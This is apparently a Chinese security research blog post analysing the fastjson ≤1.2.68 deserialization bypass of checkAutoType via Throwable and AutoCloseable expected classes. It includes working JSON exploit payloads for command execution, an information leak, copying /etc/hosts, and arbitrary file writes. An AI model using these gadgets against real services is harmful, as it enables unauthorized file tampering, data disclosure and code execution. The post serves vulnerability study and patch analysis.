文章目录
前言
本文是对fastjson高危漏洞的一次整理,包括漏洞调试、PoC构造和补丁分析。
上一篇传送门:Fastjson反序列化高危漏洞系列-part1:1.2.x — 1.2.47
1、fastjson 1.2.48 - 1.2.67
其实从1.2.48
版本开始很长一段时间,网上披露了很多绕过黑名单的用于JNDI注入的利用链,其实影响都不大,原因有以下两点:
- 前提条件是fastjson开启了AutoType。
- 利用链需要依赖第三方jar,有一些jar还是很少用到的。
因此这里不打算分析这些了,因为原理一样的,可以举一反三。
至于如何自动化去寻找利用链,笔者认为这属于一个比较通用的技能,不局限应用于某个软件的漏洞挖掘和利用,因此打算以后另写文章作为记录。
2、fastjson <= 1.2.68 反序列化漏洞
本文具体分析 1.2.68
版本的反序列化漏洞,因为该漏洞再次实现了在autoType关闭的情况下绕过了ParserConfig#checkAutoType()
的安全检测。但具体的漏洞利用的危害程度要取决于目标服务的环境(这一点后面会说到),换言之,漏洞利用并不能做到非常通用,因此漏洞的严重性要稍逊于<= 1.2.47
版本的那个漏洞。
该漏洞的细节最初是 @浅蓝 发出来的,该讲的细节都提到了(参考[2][13]
)。
其实这个漏洞依旧是和ParserConfig#checkAutoType()
校验方法做对抗。通过public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)
的代码可知,如果同时符合以下条件,则可以在autoType关闭的情况下,绕过ParserConfig#checkAutoType()
的安全校验,从而反序列化指定类:
- (1)
expectClass
不为null
,且不等于Object.class
、Serializable.class
、Cloneable.class
、Closeable.class
、EventListener.class
、Iterable.class
、Collection.class
; - (2)
expectClass
需要在缓存集合TypeUtils#mappings
中; - (3)
expectClass
和typeName
都不在黑名单中; - (4)
typeName
不是ClassLoader
、DataSource
、RowSet
的子类; - (5)
typeName
是expectClass
的子类。
注:说到
expectClass
(期望类),其实使用过fastjson进行JSON反序列化API的一定不陌生,比如://第二个参数就是expectClass(期望要反序列化成的类型) Student stu2 = JSON.parseObject(testStr, Student.class);
另外,在
1.2.68
版本开始,新增了safeMode
加固模式(参考[10]
)。配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。但该模式默认是不开启的。所以不会影响该漏洞的执行流。
该模式的校验判断也是在ParserConfig#checkAutoType()
方法中。
什么形式的JSON字符串是指定了expectClass
的呢?
前面调试fastjson漏洞的时候发现调用ParserConfig#checkAutoType()
进行安全校验时,参数expectClass
的位置传入的都是null
。
使用IDEA查找下ParserConfig#checkAutoType()
方法的引用位置,可以看到以下两个地方的调用,是有传入expectClass
的:
- JavaBeanDeserializer#deserialze();
- ThrowableDeserializer#deserialze();
JavaBeanDeserializer
和ThrowableDeserializer
是fastjson中两个反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。
这两个地方就是这个漏洞的两个利用点。下面分别来讲述。
2.1 Throwable
2.1.1 原理
先来看ThrowableDeserializer#deserialze()
。
在fastjson中,在对某个类型反序列化前,先要进行一次ParserConfig#checkAutoType()
检查,然后才是获取相应类型的反序列化器进行反序列化。
换言之,到达ThrowableDeserializer#deserialze()
前,就对一个通过@type
指定的异常类进行了ParserConfig#checkAutoType()
校验。进入到ThrowableDeserializer#deserialze()
后,词法分析器会继续遍历JSON字符串剩余的部分,如果紧接着的键还是一个@type
的话,就会将它的值,且Throwable.class
作为期望类expectClass
,一同传入ParserConfig#checkAutoType()
进行校验。
如果通过校验,则调用ThrowableDeserializer#createException()
方法进行异常类的实例化。
实例化后得到异常类对象,然后会调用它的setter方法。
2.1.2 PoC
接下来就是写一个有问题的异常类,去验证Throwable这个利用点。异常类CalcException
代码如下:
package me.mole.exception;
import java.io.IOException;
public class CalcException extends Exception {
private String command;
public void setCommand(String command) {
this.command = command;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(this.command);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
然后就是构造JSON字符串。
要注意的是,由于java.lang.Throwable
这个类不在缓存集合TypeUtils#mappings
中,所以未开启autoType的情况下,这个类是不能通过ParserConfig#checkAutoType()
的校验的。这里在JSON字符串中使用它的一个子类java.lang.Exception
,因为java.lang.Exception
是在缓存集合TypeUtils#mappigns
中的。
另外还有一个问题,就是我们的CalcException
类的危险操作是在getter方法中的,而前面提到,反序列化异常类过程中,只会执行到setter方法,并没有执行getter方法。
这里可以利用fastjson的JSONPath特性$ref
去引用指定对象的某个xxx
属性,从而访问该对象的getXXX()
方法(参考[8][9]
)。
因此构造JSON字符串如下:
{"x":
{"@type":"java.lang.Exception",
"@type":"me.mole.exception.CalcException",
"command":"open -a Calculator"},
"y":{"$ref":"$x.message"}
}
运行PoC后成功弹出计算器。
上述PoC只是为了验证Throwable这个利用点。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。
不过@浅蓝倒是给出了一个非 RCE 的 gadget,它需要目标环境依赖selenium库。
2.1.3 依赖selenium的信息泄露gadget
这个gadget需要目标环境引入selenium依赖。
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-api</artifactId>
<version>4.1.1</version>
</dependency>
其中,org.openqa.selenium.WebDriverException
类的getMessage()
方法和getSystemInformation()
方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()
来获取函数调用栈,从而获悉使用了什么框架或组件。
因此,可根据情况构造PoC(因为信息不一定能回显,取决于目标程序的代码实现),类似这样:
{"x":
{"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"},
"y":{"$ref":"$x.systemInformation"}
}
场景的话可参考@浅蓝给的留言板Demo(参考[13]
)
2.2 AutoCloseable
2.2.1 原理
接着来看JavaBeanDeserializer#deserialze()
。
原理上,它跟ThrowableDeserializer#deserialze()
这个利用点是一样的,也是通过利用期望类expectClass
去绕过checkAutoType()
的安全校验。区别在于JavaBeanDeserializer#deserialze()
中的expectClass
参数是用户可控的,所以漏洞利用可发挥的空间更大。
现在公开的比较具有实战意义的gadget都使用了java.lang.AutoCloseable
作为expectClass
。之所以使用AutoCloseable
,而不是其它类,笔者觉得可能的原因如下:
java.lang.AutoCloseable
在TypeUtils#mappings
缓存集合中;java.lang.AutoCloseable
使用fastjson默认的反序列化器JavaBeanDeserializer
;- 通过查阅JDK文档可知,
AutoCloseable
(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。
2.2.2 构造PoC时的坑-1:选对构造方法
fastjson在调用JavaBeanDeserializer#deserialze()
进行反序列化的过程中,会去寻找目标类的public
类型的构造方法:如果存在无参构造方法,则将其作为构造方法供后续实例化使用;否则使用参数数量最多且排在最前面的构造方法。(具体代码逻辑见JavaBeanInfo#build()
静态方法)
举个例子,我想通过fastjson反序列化java.io.FileOutputStream
来新建一个文件。FileOutpuStream的构造方法有多个,如下图:
而按照fastjson的代码逻辑,它会选择public FileOutputStream(File, boolean)
这个构造方法。如果你选择其它的,比如public FileOutputStream(String)
,构造JSON字符串如下:
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"name": "/Users/fa1c0n/tmp/test2.txt"
}
结果抛异常,无法创建实例。从报错信息可以看到它调用的是public FileOutputStream(File, boolean)
这个构造方法。
故将JSON字符串改为:
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"file": "/Users/fa1c0n/tmp/test2.txt",
"append": "false"
}
运行后,成功反序列化,可以看到生成了文件/Users/fa1c0n/tmp/test2.txt
2.2.3 构造PoC时的坑-2:构造方法需带调试信息
笔者使用Oracle JDK8,系统是macOS,运行上面2.2.2中FileOutputStream
的例子,会报default constructor not found
错误:
而使用OpenJDK 11.0.2 是可以正常运行的。
根据报错信息的函数调用堆栈查找原因。
可以看到,在JavaBeanInfo#build()
静态方法中,会调用ASMUtils.lookupParameterNames(constructor)
方法获取构造方法的参数名。如果没找到,则抛出上述异常。
问题就出在这里。
原因是笔者安装的macOS环境的Oracle JDK 8u201,并没有保留包含有参数名的调试信息。
可以使用javap -l \<class-name\>
查看指定类是否包含参数名信息。
下面来对比一下笔者安装的Oracle JDK 8u201
和OpenJDK 11.0.2
的java.io.FileOutputStream
类:
如上图,可以看到OpenJDK 11.0.2 中,是保留了局部变量表LocalVariableTable
的,即保留了局部变量名信息。
而具体哪个版本JDK存在调试信息,或不存在调试信息,这个并没有规律。因此,尽管存在仅依赖JDK的Gadget,但通用性是大打折扣的。不过好在多数的第三方库里的字节码是有LocalVariableTable
的。
2.2.4 Gadget 1: 复制文件
依赖:
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
PoC:
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/Users/fa1c0n/tmp/hosts.txt',
'tempPath':'/etc/hosts'
浅析:
因为SafeFileOutputStream()的构造方法里,当targetPath
不存在且tempPath
存在时,便会进行文件复制。
2.2.5 Gadget 2: 写文件
@浅蓝在文章中分享了他挖掘写文件gadget的思路:
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream;
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
- 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法.
依赖:
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>18.3.12</version>
</dependency>
PoC:
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/tmp/dst',
'tempPath':'/tmp/src'
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.esotericsoftware.kryo.io.Output',
'buffer':'aGFja2VkIGJ5IG0wMWUu',
'outputStream':
{
'$ref':'$.stream'
},
'position':15
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.sleepycat.bind.serial.SerialOutput',
'out':
{
'$ref':'$.writer'
}
}
}
浅析:
(1) 首先通过org.eclipse.core.internal.localstore.SafeFileOutputStream
的构造方法创建一个输出流对象,并通过参数去指定目标路径/tmp/dst
;
(2) 然后通过com.esotericsoftware.kryo.io.Output
的无参构造方法创建输出流对象,并通过setter方法将自身的输出流指向SafeFileOutputStream
输出流对象,且通过setter方法往自身缓冲区填充要写入的数据;
(3) 最后,再通过com.sleepycat.bind.serial.SerialOutput
的构造方法创建输出流对象,并通过参数将输出流指向(2)创建的Output
对象;同时在com.sleepycat.bind.serial.SerialOutput
构造方法调用的过程中,会调用com.esotericsoftware.kryo.io.Output#flush()
方法,将buffer缓冲区的数据写入到目标文件/tmp/dst
。
代码就不贴了,有兴趣可以动手调试一下。
2.2.6 Gadget 3: 写文件
这是 @rmb122(参考[5]
)发现的一个仅依赖于JDK的写文件gadget,尽管如此,前面也提到了,成功与否取决于目标程序的JDK是否带调试信息。
PoC:
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'/tmp/fj_hack_jdk11',
'append':false
},
'infl':
{
'input':
{
'array':'eNoLz0gsKS4uLVBIL60s1lEoycgsVgCiXAPDVD0FT/VchYzUolSFknyF8sSSzLx0hbT8IoVQhbz8cj0uAGcUE78=',
'limit':65
}
},
'bufLen':1048576
},
'protocolVersion':1
}
浅析:
(1) 在遇到Inflater#setInput(ByteBuffer input)
方法时,fastjson处理java.nio.ByteBuffer
类型的反序列化会使用com.alibaba.fastjson.serializer.ByteBufferCodec
这个反序列化器进行处理,该反序列化器会将数据先反序列化为com.alibaba.fastjson.serializer.ByteBufferCodec$ByteBufferBean
,然后再调用ByteBufferCodec$ByteBufferBean#byteBuffer()
方法返回ByteBuffer
对象。
(2) java.util.zip.InflaterOutputStream
是JDK中可用来对zip数据进行解压缩的输出流对象。java.util.zip.InflaterOutputStream#write()
方法主要做了两件事:
- 调用
Inflater#inflate()
对ByteBuffer input
中的zip压缩数据进行解压并放到缓冲区byte[] buf[bufLen]
中; - 调用输出流对象(
FileOutputStream
)的write()
方法将buf
中的解压数据写入到目标文件。
由于java.utils.zip.Inflater
处理的压缩数据是标准的zip格式,所以可通过命令行程序gzip、openssl或python脚本调用zlib库快速输出指定明文压缩后的数据。(参考14
)。当然,也可以使用Java的Inflater/Deflater
这两个类,JDK文档里就有代码片段说明如何使用这两个类来实现压缩/解压缩。
这里以Python3
为例:
未完待续
除了以上的利用链,@voidfyoo 公开了在commons-io
里找到的写文件利用链。由于commons-io
是广泛使用的第三方io库,所以很有实战价值。(参考[6]
)
另外,在2021年的Blackhat会议中,玄武实验室的@Ronny Xing 和 @Zekai Wu 的议题 <How I use a JSON Deserialization 0day to Steal Your Money On The Blockchain> 中也公开了新的利用链。
以上也是基于AutoCloseable
这个利用点的,笔者将留到下一篇文章进行分析和学习。
Author: m01e
参考
[1] https://zonghaishang.github.io/tags/Fastjson源码解析/
[2] https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA
[3] http://scz.617.cn:8/web/202008100900.txt
[4] http://scz.617.cn:8/web/202008111715.txt
[5] https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记/
[6] https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
[7] https://mp.weixin.qq.com/s/esjHYVm5aCJfkT6I1D0uTQ
[8] https://github.com/alibaba/fastjson/wiki/循环引用
[9] https://github.com/alibaba/fastjson/wiki/JSONPath
[10] https://github.com/alibaba/fastjson/wiki/security_update_20200601
[11] https://github.com/LeadroyaL/fastjson-blacklist
[12] http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/
[13] https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
[14] http://scz.617.cn:8/web/202008111505.txt